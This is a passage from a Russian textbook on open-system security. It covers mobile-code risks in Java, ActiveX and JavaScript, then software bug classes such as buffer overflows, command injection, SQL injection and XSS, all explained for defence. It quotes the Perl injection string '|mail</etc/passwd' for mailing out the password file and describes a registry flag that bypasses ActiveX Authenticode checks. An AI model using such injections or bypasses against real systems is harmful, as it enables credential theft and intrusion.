Ряд стандартов Интернета (RFC 1352, 1446, 1472, 1910) определяет основные сервисы и механизмы безопасности при передаче управляющей информации, доступе к БД управляющей информации и управляющим объектам. Сервисы безопасности для
246
Информационная безопасность открытых систем
SNMP определяются для прикладного уровня: конфиденциальность и целостность без установления соединения, аутентификация происхождения данных и контроль доступа. В последнее время отдельные приложения в Интернете частично ориентируются на использование протоколов управления телекоммуникационными сетями передачи данных Х.700, которые имеют хорошо определенные сервисы и механизмы обеспечения безопасности.
Стоит упомянуть и междоменную и внутридоменную маршрутизацию. Для междоменной маршрутизации используются протоколы BGP (Border Gateway Protocol), IDRP (ISO 10747. IS-IS Inter-Domain Routing Protocol). Внутридоменная маршрутизация обеспечивается протоколами RIP (Routing Information Protocol), OSPF (Open Shortest Path First), IS-IS (ISO 10589. Intermediate System to Intermediate System Intradomain Routing Exchange Protocol). При работе эти протоколы обмениваются служебной информацией, которая определяет надежное функционирование сложной сетевой инфраструктуры и не должна стать достоянием злоумышленника. В печати можно найти сообщения, обращающие внимание на уязвимости всех названных протоколов.
Общими требованиями безопасности для протоколов маршрутизации являются обеспечение аутентификации субъектов коммуникаций и обеспечение целостности для коммуникаций без установления соединений. Дополнительно могут использоваться сервисы конфиденциальности и контроля доступа. Учитывая то, что работа протоколов маршрутизации относится к "инфраструктурному" (сетевому и транспортному) уровню сети, эффективно для этой цели использовать соответствующие механизмы и протоколы сетевого и транспортного уровней (NLSP, TLSP). С другой стороны, сам протокол (например, BGP) может иметь в структуре пакетов средства для поддержки аутентификации и целостности.
Важное заключительное замечание по данному пункту: для своевременного выявления атак на ИБ конкретного интранета его администратор должен знать все находящиеся в системе утилиты, которые могут предоставить НСД к важной информации. Даже наиболее невинно выглядящая программа может стать инструментом, помогающим злоумышленнику получить доступ к интранету.
3.5. Слабости современных технологий программирования
Современные технологии программирования используются для создания так называемых мобильных кодов — программ, которые могут передаваться с одного компьютера на другой каким-либо способом (как правило, по сети) и выполнять какие-либо действия на удаленном компьютере. Примером мобильного кода могут служить программы, написанные на языках Java, ActiveX, макросы WinWord, plug-in, сценарии и т. п.
Технология Java фирмы Sun Microsystems и ее конкурент - ActiveX компании Microsoft существуют сравнительно недавно. Они используются в интранете, заняв прочное место в арсенале веб-приложений, и продолжают стремительно набирать темпы своего развития.
Язык программирования Java проектировался как безопасный (с запрещением потенциально опасных функций), платформонезависимый, интерпретируемый язык
3. Уязвимость открытых систем на примере интранета
247
программирования. Программный код небольших Java-приложений, называемых апплетами, находится на веб-сервере, в то время как на компьютере клиента, просматривающего веб-сервер, находится интерпретатор команд, обычно встроенный в браузер. В HTML-разметке просматриваемой страницы имеется ссылка на программный код, который клиент загружает в свой компьютер и исполняет при помощи встроенного интерпретатора. Программы на Java, поскольку они выполняются на той машине, где запущен браузер, а не на машине с сервером, подвергают риску больше клиента, чем сервер.
Примерно так же работает технология ActiveX. Как и Java-апплеты, компоненты ActiveX могут быть внедрены в веб-страницу для решения типичных задач, например анимации. Однако в отличие от Java, который является платформонезависимым языком, ActiveX ориентирован на ОС Windows. Java является сильно урезанным, интерпретируемым диалектом C++, а элементы ActiveX программируются, например, на Visual Basic. Кроме того, ActiveX поддерживает OLE (Object Linking and Embedding) - технологию, представляющую собой механизм создания и работы с составными документами, когда один документ может содержать объекты из разных приложений (например, текстовый документ Word с таблицами Excel и презентацией PowerPoint). Таким образом, можно даже не подозревать, что при просмотре на экране текстового документа существует опасность занесения в компьютер злонамеренной резидентной программы. Сценарий таков: с помощью текстового процессора Word просматривается документ, лежащий на веб-сервере и содержащий макровирус. Текстовый процессор исполняет макрокод, содержащийся в документе, и согласно его инструкциям заражает вирусом все документы Word, имеющиеся на жестком диске, и запускает стандартный отладчик Microsoft debug.com, имеющийся в любой системе. С помощью debug.com макровирус записывает свою злонамеренную, резидентную часть в оперативную память и завершает работу программы. Описанный выше сценарий вполне правдоподобен, так как технология ActiveX уже работает на тысячах браузеров, а макровирус Word с резидентной частью был описан еще несколько лет назад.
Компания Microsoft так же, как и Sun Microsystems, декларировала безопасность своей технологии. Однако, несмотря на изначально декларируемую безопасность, рассматриваемые технологии содержат в себе целый ряд дефектов, которые позволяют злоумышленникам осуществлять злонамеренные действия.
Наиболее серьезным недостатком обеих технологий является тот факт, что Java и ActiveX существуют как "безопасные" языки только в рамках компиляторов известных производителей ПО. Даже если кому-нибудь удастся создать действительно безопасный интерпретируемый язык и продавать его компилятор веб-дизайнерам, кто мешает злоумышленнику написать собственную версию компилятора, включив в нее все необходимые для его преступных замыслов системные функции? Скомпилировав на нем собственные апплеты, злоумышленник поместит их на свой собственный веб-сервер, а ПК-клиент послушно исполнит злонамеренный код, даже ничего не заметив. Таким образом можно получить практически полный контроль над компьютером клиента. Представители фирм Sun Microsystems и Microsoft, зная об этой проблеме, заявляли, что планируется оснащать компиляторы легальных производителей функциями, обеспечивающими "зашивание" сигнатуры производителя в интерпретируемый код, по которому программа-браузер сможет опознать производите
248
Информационная безопасность открытых систем
ля компилятора и принять решение о запуске апплета. Однако вопрос о том, можно ли будет обойти эти соглашения, не имеет ответа из-за отсутствия реализации соглашений.
Вот лишь некоторые реальные примеры атак с использованием уязвимостей ActiveX.
В модуле ActiveX, отвечающем за обработку цифровых сертификатов безопасности, была обнаружена уязвимость. Эти сертификаты широко применяются в Windows при использовании электронной подписи, для шифрования электронной почты, доступа к узлам по протоколу безопасной передачи данных SSL, при идентификации пользователей с помощью смарт-карт, а также для работы с шифрующей файловой системой EFS (она является надстройкой к файловой системе NTFS и имеет возможности шифрования данных) в ОС Windows 2000/XP/Server 2003. Используя уязвимость в модуле Certificate Enrollment Control, злоумышленник может удалить все цифровые сертификаты с компьютера жертвы, лишив пользователя возможности работы с описанными выше функциями. Для совершения атаки необходимо заставить пользователя открыть специальным образом построенную HTML-страницу, которая может быть размещена на веб-узле или прислана по электронной почте. Данную опасность для клиентских систем в Microsoft оценили как критическую.
Обнаружена уязвимость в параметре "server name" Microsoft Terminal Server ActiveX. Уязвимость приводит к переполнению буфера и позволяет злоумышленнику выполнить произвольный программный код на компьютере жертвы, используя для этого веб-страницу, почтовое сообщение или HTML-файл со специальным кодом. Подвержены данной уязвимости оказались Windows 95/98/NT 4.0/2000/ХР.
Обнаружены две ошибки в элементах управления ActiveX - Scriptlet.typlib и Eyedog - на компьютерах, использующих MS Internet Explorer 4.0 или 5.0. Элемент управления Scriptlet.typlib используется разработчиками для генерации библиотек типов для скриптовых компонентов Windows. Этот элемент позволяет создавать, редактировать и перезаписывать файлы, хранящиеся на локальном диске. Eyedog применяется для программ диагностики в среде Windows. Eyedog обращается к системному реестру и осуществляет сбор информации о технических параметрах компьютера. В результате недобросовестные администраторы веб-серверов могут совершить противоправные действия в отношении человека, посетившего их сайт. Scriptlet и Eyedog имеют доступ к файловой системе пользователя. Ущерб может быть огромным.
Организация хакеров Computer Chaos Club продемонстрировала созданный ими ActiveX-компонент, способный незаметно загружаться в клиентский компьютер во время просмотра им веб-страниц с использованием MS Internet Explorer 3.1 [54]. Данный компонент запускается автоматически и может переводить деньги на счета злоумышленников со счета любого клиента, работающего с финансовой программой Quicken фирмы Intuit для "электронной" оплаты своих счетов.
Установив для элементов управления ActiveX флаг safe for scripting, можно полностью обойти обычную процедуру проверки сертификатов Authenticode. Для таких элементов управления при их запуске в браузере на экран не будет выводиться никаких сообщений. Чтобы установить такой флаг, нужно либо реализовать в элементах управления интерфейс lObjectSafety, либо пометить их как безопасные. Для этого в системном реестре в параметр implemented categories, соответствующий данному
3. Уязвимость открытых систем на примере интранета
249
элементу управления, необходимо добавить параметр 7DD95801-9882-11CF-9FA9-0ОАА006С42С4. Зачастую в системном реестре Windows находится несколько десятков таких элементов управления. Для подобных атак могут быть использованы те из них, которые выполняют действия с повышенными привилегиями (например, запись на диск и запуск кода). Здесь стоит снова вспомнить Scriptlet.typlib и Eyedog. Но не надо волноваться по поводу элементов управления, выполняющих безобидные функции.
И еще один случай: программист из Сиэтла поместил в сеть программу, названную Exploder, которая отключала от Интернета компьютеры, когда пользователи Internet Explorer пытались загрузить веб-страницу.
Уязвимости названных технологий можно подразделить на три составляющие:
1)	уязвимости браузера, выполняющего программы;
2)	уязвимости пользователя (как самого слабого звена системы защиты), использующего мобильный код;
3)	уязвимости самого мобильного кода, исполняемого браузером на локальном компьютере пользователя.
Во-первых, возможна несанкционированная модификация кода программы, которая может привести к различным последствиям - начиная от выполнения несанкционированных действий на компьютере пользователя и заканчивая нарушением конфиденциальности данных, с которыми работает мобильный код. Модификация кода может выполняться с двумя целями: создание из мобильного кода средства для проведения атак на компьютер пользователя и осуществление НСД к данным, с которыми работает мобильный код. Второй тип атаки - подмена мобильного кода. Например, возможна замена пути к доверенному мобильному коду (в тегах APPLET и OBJECT) на "враждебный" путь. Третий вариант - модификация, подмена или уничтожение данных, которые использует мобильный код для своей работы.
Как средство для проведения атак мобильный код может быть реализован в следующих видах:
	вируса, который вторгается в систему и уничтожает данные на локальных дисках, постоянно модифицируя свой код, затрудняя тем самым свое обнаружение и удаление;
	агента, перехватывающего пароли, номера кредитных карт и т. п.;
	программы, копирующей конфиденциальные файлы, содержащие деловую и финансовую информацию и т. п.
Взломщиков технология ActiveX привлекает значительно больше, чем Java, так как компоненты ActiveX имеют прямой доступ к ОС, а Java-апплеты - нет. Это предоставляет ActiveX значительно больше возможностей и для созидания, и для разрушения: можно переформатировать жесткий диск компьютера или включить систему видеонаблюдения.
Все эти методы осуществления угроз безопасности информации имеют одно важное условие: для их применения необходимо, чтобы пользователь компьютера-жертвы сам зашел на веб-сервер злоумышленника. Однако это не значит, что следует приуменьшать существующую угрозу в случае, если пользователь работает только с жестко определенным, проверенным набором серверов. Злоумышленник может применить вышеперечисленные методы в сочетании с подменой доменных имен. Смоделировав на собственном подставном сервере привычную для пользователя оболочку
250
Информационная безопасность открытых систем
и внедрив в нее злонамеренные апплеты, злоумышленник достигнет своей цели, не вызвав никаких подозрений.
Наиболее уязвимыми с точки зрения безопасности компонентами Java-технологии являются апплеты, поскольку их может использовать любой клиент, который вовсе не обязан знать правила "техники безопасности" при работе с ними. Именно поэтому для апплетов предусмотрены жесткие методы защиты [55]. Хотя различные браузеры и программы просмотра апплетов могут по-разному защищать информацию пользователя от нападения, но в общем случае апплету должно быть запрещено следующее:
	читать, изменять, уничтожать и переименовывать локальные файлы;
	создавать локальные директории и читать их содержимое;
	проверять существование и параметры определенного файла;
	осуществлять доступ по сети к удаленному компьютеру (кроме своего "родного" узла);
	получать список сетевых сеансов связи, которые устанавливает локальный компьютер с другими компьютерами;
	открывать новые окна без уведомления пользователя (это необходимо для предотвращения "эмуляции" апплетом других программ);
	получать сведения о пользователе или его домашней директории;
	определять свои системные переменные;
	запускать локальные программы;
	выходить из интерпретатора Java;
	загружать локальные библиотеки;
	создавать потоки, которые не перечислены в ThreadGroup (класс, управляющий выполнением потоков - различных частей программы) этого апплета, и управлять ими;
	получать доступ к ThreadGroup другого апплета;
	определять свои объекты Class-Loader (загрузчик Java-объектов) и Security Manager (диспетчер безопасности для апплетов);
	переобозначать системные объекты ContentHandlerFactory, SocketlmplFactory и URLStreamHandler-Factory (эти классы управляют сетевой работой Java);
	получать доступ к любому пакету, отличному от стандартных;
	определять классы, которые входят в локальную упаковку.
Эти правила обеспечивают следующие компоненты Java-технологии:
1)	собственно виртуальный Java-процессор, который постоянно контролирует свое состояние;
2)	загрузчик апплетов и программ, который контролирует загружаемые коды;
3)	диспетчер, или менеджер, безопасности (SecurityManager), контролирующий и блокирующий опасные действия апплетов.
В классе SecurityManager перечислены методы, которые используются системой для контроля действий апплета в зависимости от характеристик окружающей среды. Программа просмотра апплета создает подкласс SecurityManager, который и реализует необходимую ПБ. Ссылка на этот подкласс записывается в объекте System.
Еще один механизм безопасности встроен в загрузчик апплетов и программ (ClassLoader). Браузер переопределяет этот класс и реализует свои собственные правила работы с сетевыми протоколами. Одна из основных функций загрузчика объектов - разделение пространства имен разных апплетов и ОС, что позволяет избежать
3. Уязвимость открытых систем на примере интранета
251
их взаимного влияния. Другая, не менее важная функция загрузчика - верификация байт-кодов, т. е. проверка правильности полученного элемента Java-программы и его целостности. В процессе верификации выясняется следующее:
	соответствует ли версия полученного блока версиям остальных элементов системы;
	сохранен ли формат исполняемого байт-кода;
	соответствует ли программа спецификации конкретного виртуального Java-процессора;
	может ли возникнуть переполнение или исчерпание стека;
	все ли регистры Java-процессора используются правильно;
	нет ли некорректных преобразований типов.
Цели такой проверки - выявление неправильного использования косвенной адресации, которое может привести к нарушению в работе виртуального процессора, и проверка целостности апплета. Этот механизм обеспечивает защиту и надежную работу распределенной программы, что позволяет не загружать в браузер всю Java-программу целиком, а подгружать ее небольшими блоками по мере необходимости.
Сам виртуальный Java-процессор также имеет встроенные механизмы защиты от нападения. Например, поскольку байт-коды Java интерпретируются, то можно контролировать индексы массивов, что позволяет избежать переполнения буфера -самой распространенной и опасной ошибки. Встроенные механизмы обработки исключительных ситуаций позволяют решать возникающие конфликты, а правильно и своевременно очищаемая неиспользуемая программами память не дает возможности взломщику просмотреть "информационные отходы", которые могут содержать полезную для него информацию.
Хотя защитные механизмы технологии Java очень хорошо продуманы, их реализация еще далека От совершенства. Среди наиболее известных уязвимостей Java выделяют те, которые создают возможности выполнения произвольных машинных команд, сетевого соединения с произвольной машиной или обхода диспетчера безопасности при помощи байт-кода, введенного вручную, а также нападения с целью истощения системных ресурсов, таких, как память или процессорное время. Список возможных проблем таков:
1.	Блокировка сервиса. Это нападение, в результате которого частично или полностью блокируется работа пользователя и даже может быть выведен из строя браузер. Вот неполный список возможных вариантов:
	загрузка процессора бессмысленными действиями (например, бесконечным циклом);
	заполнение всей свободной памяти (например, в результате выполнения бесконечного цикла);
	захват важных системных классов, например java.net.-INetAddress.
2.	Тайные каналы. Эти каналы позволяют взломщику получать информацию даже через ("сквозь") МЭ. Существование тайных каналов в браузере делает его опасным. В качестве "тайного" канала можно использовать следующие действия апплетов:
	посылку почты через SMTP-порт сервера (причем почта посылается от имени пользователя, который работает с апплетом);
	запрос на поиск по несуществующему адресу, в котором в качестве параметров передаются необходимые взломщику данные;
252
Информационная безопасность открытых систем
	попытку доступа по несуществующему адресу (последовательность директорий может содержать необходимые данные).
3.	Информация, известная апплетам. С помощью такой информации взломщик может получить некоторые сведения, которые впоследствии будут им использованы. Эту информацию можно передавать даже через МЭ по тайным каналам, которые описаны выше. Апплетам обычно известна следующая системная информация:
	системное время;
	установки функции hashcode( );
	название и производитель Java-интерпретатора;
	версия JavaAPI;
	название и версия ОС;
	архитектура процессора.
4.	Ошибки реализации. Это основной способ нападения. Ошибки обычно трудно находить и исправлять. Причем для исследования пользовательской системы можно применять информацию, которая доступна апплетам. Например, если взломщик знает, что в определенной версии Internet Explorer есть полезная для него ошибка, то, считывая с помощью апплета название и версию браузера и передавая эту информацию по тайным каналам (запрос по несуществующему адресу), он получает информацию о своей "жертве".
5.	Перехват ошибок. Java предусматривает перехват исключительных ситуаций. Это необходимо для составления более наглядных программ, благодаря которым обработку всех ошибок можно выполнять централизованно. Однако перехват ошибок позволяет игнорировать исключительные ситуации, создаваемые, например, Security Manager. Такая ситуация очень опасна, так как взломщик сможет заменить Class Loader, SecurityManager и другие ключевые объекты. Желательно блокировать подобные ситуации еще при загрузке апплета (не все загрузчики способны это делать).
6.	Имя упаковки. Если ”/" - первый символ имени упаковки (packing), то система попытается загрузить ее с локального диска, причем загружается она с меньшими требованиями к безопасности, так как предполагается, что запускаемому с локального диска апплету можно доверять. Таким образом, любой Java-класс, который взломщик может записать на локальный диск, может быть загружен с ослабленной защитой. Причем "опасные" классы могут быть записаны на диск с помощью механизма кеширования браузера. Поэтому становится возможной загрузка "агрессивного" класса с ослабленной защитой.
Проблема безопасности обсуждаемых технологий не исчерпывается проблемой неавторизованного компилятора. Ниже представлены некоторые возможные злонамеренные апплеты, запрограммированные на основе серийных, "безопасных" компиляторов. (Большинство примеров взято с сервера http://www.digicrime.com/, где можно увидеть их в действии.)
1.	Достаточно просто написать апплет, создающий серии самовоспроизводящихся окон. Родительское окно запускает дочернее, то в свою очередь - следующее и так далее до переполнения оперативной памяти клиентского компьютера. Результатом переполнения в лучшем случае является выгрузка программы-браузера.
2.	Усовершенствованный вариант первого примера. Апплет вызывает не последовательность самовоспроизводящихся окон, а последовательность самовоспроизводящихся браузеров. Результатом, как правило, является сбой в ОС клиента.
3. Уязвимость открытых систем на примере интранета
253
3.	Не составляет большого труда запрограммировать апплет на скачивание необходимого злоумышленнику файла с клиентского компьютера. При этом, правда, большинство браузеров выдадут предупреждение с запросом на разрешение выполняемых действий, но эта опция может быть отключена, да и пользователь, привыкший к путешествиям по Интернету, может автоматически щелкнуть ОК .
4.	Известен апплет, вызывающий зацикленное переключение между двумя вебстраницами, что не нарушает, казалось бы, никаких принципов безопасности информации. Однако он заставляет пользователя в аварийном режиме выгрузить браузер и тем самым, может быть, потерять ценные данные.
5.	Существует апплет, пользующийся функциями системы энергосбережения "Energy saving future" для несанкционированного выключения из сети электропитания компьютера клиента, оснащенного этой системой [http://catless.ncl.ac.uk/ Risk/18.6 l.html].
6.	Имеется апплет, вызывающий фатальное "зависание" ОС Windows при его запуске.
JavaScript также имеет богатую историю лазеек в безопасности. Это набор расширений языка HTML, разработанный Netscape Corporation и используемый в Netscape Navigator версии 2.0 и более поздних, а также в MS Internet Explorer начиная с версии 3.0. Этот интерпретируемый язык предназначен для управления браузером. Он позволяет открывать и закрывать окна, управлять элементами форм ввода, изменять настройки браузера, загружать и запускать апплеты Java. Хотя JavaScript похож на Java по синтаксису, они отличаются по многим другим параметрам. В отличие от Java-лазеек, которые грозят изменением данных на диске пользователя, лазейки в JavaScript обычно угрожают приватной информации пользователя. Примеры: возможность перехвата адреса e-mail и других установок пользователя, перехват файлов на машине клиента, возможность наблюдения за действиями пользователя, утечка информации через фреймы, лазейка для загрузки файла. Хотя названные ошибки были исправлены, постоянно находятся все новые и новые.
Для обеспечения безопасности информации при корпоративном доступе в Интернет необходимо отключать на всех клиентских ПК модули поддержки Java и ActiveX. Такой совет слишком категоричен, поскольку сегодня редкие веб-страницы созданы без применения данных технологий. Поэтому использование этих модулей может быть целесообразным только в случае их применения на обособленном компьютере, подключеном к Интернету и управляемом квалифицированным пользователем.
Методы обеспечения безопасности управляющих элементов ActiveX на рабочих столах пользователей включают в себя ЭЦП для HTML, серверы-посредники и усовершенствованные (или отдельные настольные) МЭ, а также создание и поддержку баз данных, содержащих информацию о статусе безопасности различных апплетов Java [56]. В случае применения ЭЦП для HTML управляющие элементы ActiveX или апплеты Java работают на пользовательском ПК только при условии, что страница HTML, содержащая управляющий элемент, открыта браузером пользователя. HTML с ЭЦП дает пользователю возможность точно определить в процессе выполнения, когда и откуда поступил данный фрагмент исполняемого кода. Эта модель полностью перекладывает ответственность за безопасность компьютерной системы на плечи пользователя. Перед загрузкой управляющего элемента, который не имеет подписи или имеет подпись, но она подтверждена неизвестной организацией, браузер вы
254
Информационная безопасность открытых систем
водит предупреждение, что это действие может быть небезопасным. Пользователь может отказаться от загрузки документа или рискнуть продолжить.
Основная проблема в модели безопасности ActiveX состоит в том, что представляется трудным отследить управляющий элемент, совершающий нежелательные действия, например спокойно передающий конфиденциальную информацию о конфигурации машины пользователя на удаленный сервер, или заражающий локальную сеть вирусом, или даже изменяющий Internet Explorer так, что его механизм проверки кода не будет работать правильно.
Прокси-серверы и усовершенствованные МЭ позволяют системным администраторам создавать БД дружественных и враждебных апплетов, а также управляющих элементов. Данная технология использует для сканирования с целью выявления входящего трафика те же принципы, что и БД вирусов. Также возможно включение в корпоративную БД информации о санкционировании выполнения определенных апплетов Java для конкретных компьютеров. Эта информация проверяется перед запуском апплета на данном компьютере. Можно воспользоваться и встроенными средствами защиты браузера Internet Explorer, задающими три уровня защиты.
В Java для обеспечения безопасности также используется так называемая песочница (sandbox) — среда, в которой код, пришедший из Интернета, исполняется практически без доступа к локальным ресурсам. В Java Development Toolkit безопасность обеспечивается на базе доменов - среды или контекста приложения, для которого определен собственный набор допущений и требований безопасности. Также проверяется наличие "дыр" на пересечении привилегий, действующих в различных доменах.
Классический пример защиты от разрушающих Java-апплетов - программа Surfinshield фирмы Finjan Software Ltd. [http://www.finjan.com]. Эта программа работает как детектор и оповеститель о попытках загрузки из Интернета деструктивных Java-апплетов: она автоматически "убивает" опасные апплеты и блокирует Java-атаку. Программа WebScanX компании Network Associates (McAfee) является антивирусным продуктом с расширенными возможностями для сканирования враждебных программ, реализованных с помощью технологий Java и ActiveX. GuardDog фирмы CyberMedia различает враждебные программы и "троянские кони"; блокирует cookie-файлы; защищает от вирусов в электронной почте и загружаемых файлах; фильтрует нежелательные веб-узлы; контролирует все подключения модема и выполняет еще ряд других полезных функций.
Модель безопасности ActiveX сильно отличается от того, что применяется в апплетах Java. Java добивается безопасности, ограничивая возможности программы выполнением только безопасных действий. Напротив, ActiveX не вводит ограничений на то, что может делать управляющий элемент. Защита в ActiveX осуществляется и программой Authenticode корпорации Microsoft через средства, встроенные в управляющий элемент ActiveX и сообщающие пользователю, кто создал данный элемент, и проверяющие его подлинность. Идентификаторы задаются в Authenticode с помощью ЭЦП и сертификатов. Цифровой сертификат предоставляет информацию о разработчике (его имя и адрес электронной почты), а ЭЦП представляет собой уникальный набор его описателей (хеш-функция, зашифрованная личным ключом). Запуская приложение ActiveX первый раз, пользователь должен загрузить с веб-сервера поставщика приложения управляющие элементы ActiveX. В самом начале загрузки в
3. Уязвимость открытых систем на примере интранета
255
диалоговом окне браузера пользователь должен установить уровень сертификации приложений. Процесс можно прервать или установить такой уровень сертификации, когда загрузка приложений из того же источника не будет вызывать сомнений и дополнительных запросов пользователю больше выдаваться не будет. Данная модель безопасности всю ответственность за обеспечение защиты системы возлагает на пользователя.
Другая возможность ActiveX - определить способ маркировки (путем использования специальных интерфейсов или настроек системного реестра при создании управляющего элемента) управляющих элементов с целью предотвратить запуск и его несанкционированное выполнение. Кроме этого возможна защита активизации (activation security) для контроля запуска управляющих элементов на удаленном компьютере и защита вызовов (call security) для контроля вызовов уже исполняющихся элементов.
И в заключение выделим четыре основных механизма защиты локального компьютера для снижения риска при загрузке мобильного кода, которые сводятся к необходимости обеспечения должной безопасности на стороне клиента.
	Запрет выполнения кода, что позволяет полностью обезопасить компьютер от потенциально опасных приложений.
	Криптографическая аутентификация кода, что дает возможность пользователю определить автора загружаемого кода и удостовериться, что в процессе передачи кода по сети он не модифицировался.
	Верификация кода для управления кодом в ограниченном пространстве, что позволяет уменьшить вероятность возможного ущерба в случае выполнения опасных операций.
	Установление защищенного соединения между клиентом и сервером, что позволяет обеспечить неизменность кода в процессе передачи и авторизацию автора мобильного кода.
3.6. Ошибки в программном обеспечении
Проблемы с ПО, используемым в открытых системах, связаны с рядом угроз, среди которых следует выделить:
	незаконное использование алгоритмов, являющихся интеллектуальной собственностью автора, при написании аналогов продукта (промышленный шпионаж);
	несанкционированное использование ПО (кража и копирование);
	несанкционированная модификация ПО с целью внедрения программных закладок;
	незаконное распространение и сбыт ПО (пиратство).
Все уязвимости в любом ПО можно условно разделить на три категории: уязвимости проектирования, реализации и использования (для чего оно специальным образом настраивается, т. е. конфигурируется).
В зависимости от последствий ошибки ПО можно классифицировать и несколько иным образом [39].
1.	Переполнение буфера (buffer overflow). Буфер - это блок памяти, выделенный под переменную. Переполнение возникает при отсутствии проверки выхода за границы буфера, когда пользователь или процесс пытается поместить в буфер (или мае-
256
Информационная безопасность открытых систем
сив фиксированного размера) данных больше, чем для этого выделено памяти программистом. Таким образом, искажается содержимое других переменных состояния и параметров программы, которые входят в область переполнения буфера. Это обычно приводит к генерации ошибки нарушения сегментации. Типичный пример - программист, который для хранения имени пользователя выделает только 256 символов. Несомненно, программист думает, что ни у кого не будет имени, состоящего из более чем 256 символов. Но нападающий думает иначе: "Что произойдет, если я введу ложное имя пользователя длиннее 256 символов?" Где хранятся дополнительные символы? Если нарушитель выполнит свою работу "правильно", он может послать 300 символов, включая исполняемый код, который будет выполняться сервером, что может привести к опасным последствиям. Нападающие находят эти ошибки различными путями. Во-первых, в сети имеется исходный код для большого числа сервисов. Тогда, как правило, просматривается этот код в поисках программ и утилит, имеющих проблемы с переполнением буфера. Во-вторых, можно изучать и сами программы с целью определения, имеют ли они какие-нибудь проблемы, хотя чтение двоичного кода является достаточно трудной задачей. В-третьих, можно исследовать каждый участок программы, который работает со входными данными, и попытаться переполнить его с помощью случайных (произвольных) данных. Если программа выходит из строя, то появляется хороший шанс для проникновения внутрь. Отметим, что эта проблема является широко распространенной, например в программах, написанных на C/C++, но редкой в программах на языке Java. Так как язык С не содержит средств контроля соответствия типов, то в переменную одного типа можно занести значение другого типа. Стандартные функции С типа strcpy, strcat, sprintf, gets работают co строками символов и не имеют в качестве аргументов их размеров, что, как видно из показанных выше примеров, легко приводит к переполнению буфера. Оно может происходить как в локальных программах, так и при удаленном доступе.
2.	Неожиданные комбинации. Программы обычно составляются с использованием многих слоев (уровней) кода, включая ядро ОС в качестве основы для большой части других слоев. Нарушители могут послать входные данные, которые являются бессмысленными для одного слоя (уровня), но много значащими для другого. Наиболее распространенный язык для обработки входных данных пользователя - это Perl. Программы, написанные на Perl, как правило, будут посылать эти входные данные к другим программам для дальнейшей оценки. Наиболее распространенный метод -это ввести строку типа "|mail</etc/passwd". И она будет выполняться, потому что Perl "просит" ОС запустить дополнительную программу с этими входными данными. Однако ОС перехватывает символ ’]’ и запускает mail-программу, которая передает нарушителю файл паролей по электронной почте.
3.	Необрабатываемые входные данные. Большинство программ пишется для обработки достоверных входных данных. Но многие программисты не учитывают ситуацию, когда кто-то вводит данные, не соответствующие спецификации. Это так называемый метод взлома с использованием данных (data driven attack), отправляемых активной службе. Он позволяет получить неожиданные или нежелательные результаты, поскольку в этом случае взломщик сможет получить доступ к интересующему его компьютеру в результате взлома при отсутствии проверки ввода или путем переполнения буфера. С точки зрения программиста программа, получившая данные, к приему которых она не была готова, выдает нежелательные результаты. Уязви
3. Уязвимость открытых систем на примере интранета
257
мость здесь связана с использованием непроверенных параметров непосредственно для управления ходом выполнения программы. Например, клиент может сообщать серверу длину блока данных, которые он собирается передать. Если сервер сразу выделяет память для хранения всего блока указанной длины, то клиент может скомандовать серверу занять всю свободную память. Такого рода уязвимость существовала, например, в модуле сборки фрагментированных IP-пакетов стека TCP/IP нескольких ОС (базовый метод атаки называется teardrop и может привести к "зависанию" всей системы, если в ней еще есть такая уязвимость).
Частный случай уязвимости, связанной с использованием некорректных значений параметров, - это возможность передавать программе команды под видом текстовых параметров (атака command injection). Например, SQL injection - передача программе фрагментов SQL-запросов вместо безобидных строк, содержащих только числа. Эти фрагменты SQL-запроса могут быть выполнены, будучи без изменений вставлены в SQL-запрос вместо "правильного" параметра.
Еще более частный случай — передача через веб-сервер, не фильтрующий пользовательские данные, вредоносного кода на компьютеры других клиентов того же сервера (атака Cross-site scripting, также известная как XSS) [http://www.cgisecurity.com]. Это проблема динамических веб-узлов. Их наполнение генерируется веб-при-ложениями, которые в зависимости от настроек выводят различные данные. XSS происходит в случае получения веб-приложением опасных данных от пользователя. Данные обычно берутся из формы или по гиперссылке на веб-страницу, содержание которой опасно. По этой ссылке пользователь переходит с другого веб-узла, форума, сообщения, пришедшего по электронной почте, и т. п. После получения данных вебприложением оно выводит пользователю страницу, содержащую опасные данные. В результате возможна доставка злоумышленником вредоносного кода даже через защищенное с помощью протокола SSL соединение. Возможно это, если веб-сервер позволяет злоумышленнику через незащищенное соединение поместить непроверенный текст, который потом демонстрируется пользователю уже через защищенное соединение. В качестве средства защиты от подобных атак требуется проверка вывода программы на наличие специальных символов и тегов.
4.	Соревнование. Большинство систем сегодня являются многозадачными, т. е. они могут выполнять одновременно более одной программы. Есть опасность, если двум программам требуется доступ к одним и тем же данным в одно и то же время. Представим себе две программы А и В, которым необходимо изменить один и тот же файл. Для того чтобы модифицировать файл, каждая программа должна сначала загрузить файл в оперативную память, изменить содержимое памяти, а затем скопировать из памяти это содержимое обратно в файл. Соревнование имеет место, когда программа А читает файл в память, а затем производит изменение. Однако до того как А запишет файл, программа В вступит в действие и полностью прочита-ет/модифицирует/запишет файл. Теперь программа А записывает свою собственную копию обратно в файл. Поскольку программа А начала свое копирование до того, как программа В сделала свои изменения, все эти изменения, сделанные программой В, будут потеряны. Так как пользователь получает последовательность событий как раз в правильном порядке, то "состязание" проявляется очень редко. Нарушители обычно делают сотни и тысячи попыток, прежде чем они смогут реализовать данные действия и проникнуть в саму систему.
9—2368
258
Информационная безопасность открытых систем
Рассмотрим подробнее первый тип ошибок. Атаки класса "buffer overflow exploits" [57] - общее название программ, которые для прорыва в систему и/или для получения привилегий суперпользователя используют неточности в контроле размеров строк и буферов. Эта технология сегодня употребляется все чаще и требует для борьбы с ней понимания работы системы и навыков программирования, лишний раз показывая, что культура программирования - вопрос не только стиля, но и безопасности. Часто такие ошибки проявляются не сразу. Предположим, программист считает, что 1024 байт, которые он выделил под временный буфер, будет вполне достаточно во всех случаях. Это допущение представляет собой потенциально слабое место в программе. Если программа работает в однопользовательской ОС, то сбой может привести к "зависанию" компьютера; но в многопользовательской и сетевой ОС последствия могут быть более серьезными. Именно ошибка переполнения буфера была использована при распространении червя Морриса.
Другой пример. Допустим, что для вводимых данных в программе выделяется буфер фиксированного размера - 128 байт под размещение данных, поступающих от команды vrfy программы sendmail (устанавливает потенциальных пользователей по их почтовым адресам). Предположим также, что sendmail запущена в контексте прав SU1D пользователя root и пользуется его привилегиями (во многих системах это так и есть, хотя и не всегда). Что произойдет, если взломщик подключится к демону sendmail и отправит в качестве параметра команды VRFY строку, состоящую из тысячи символов "а", а не короткое имя пользователя?
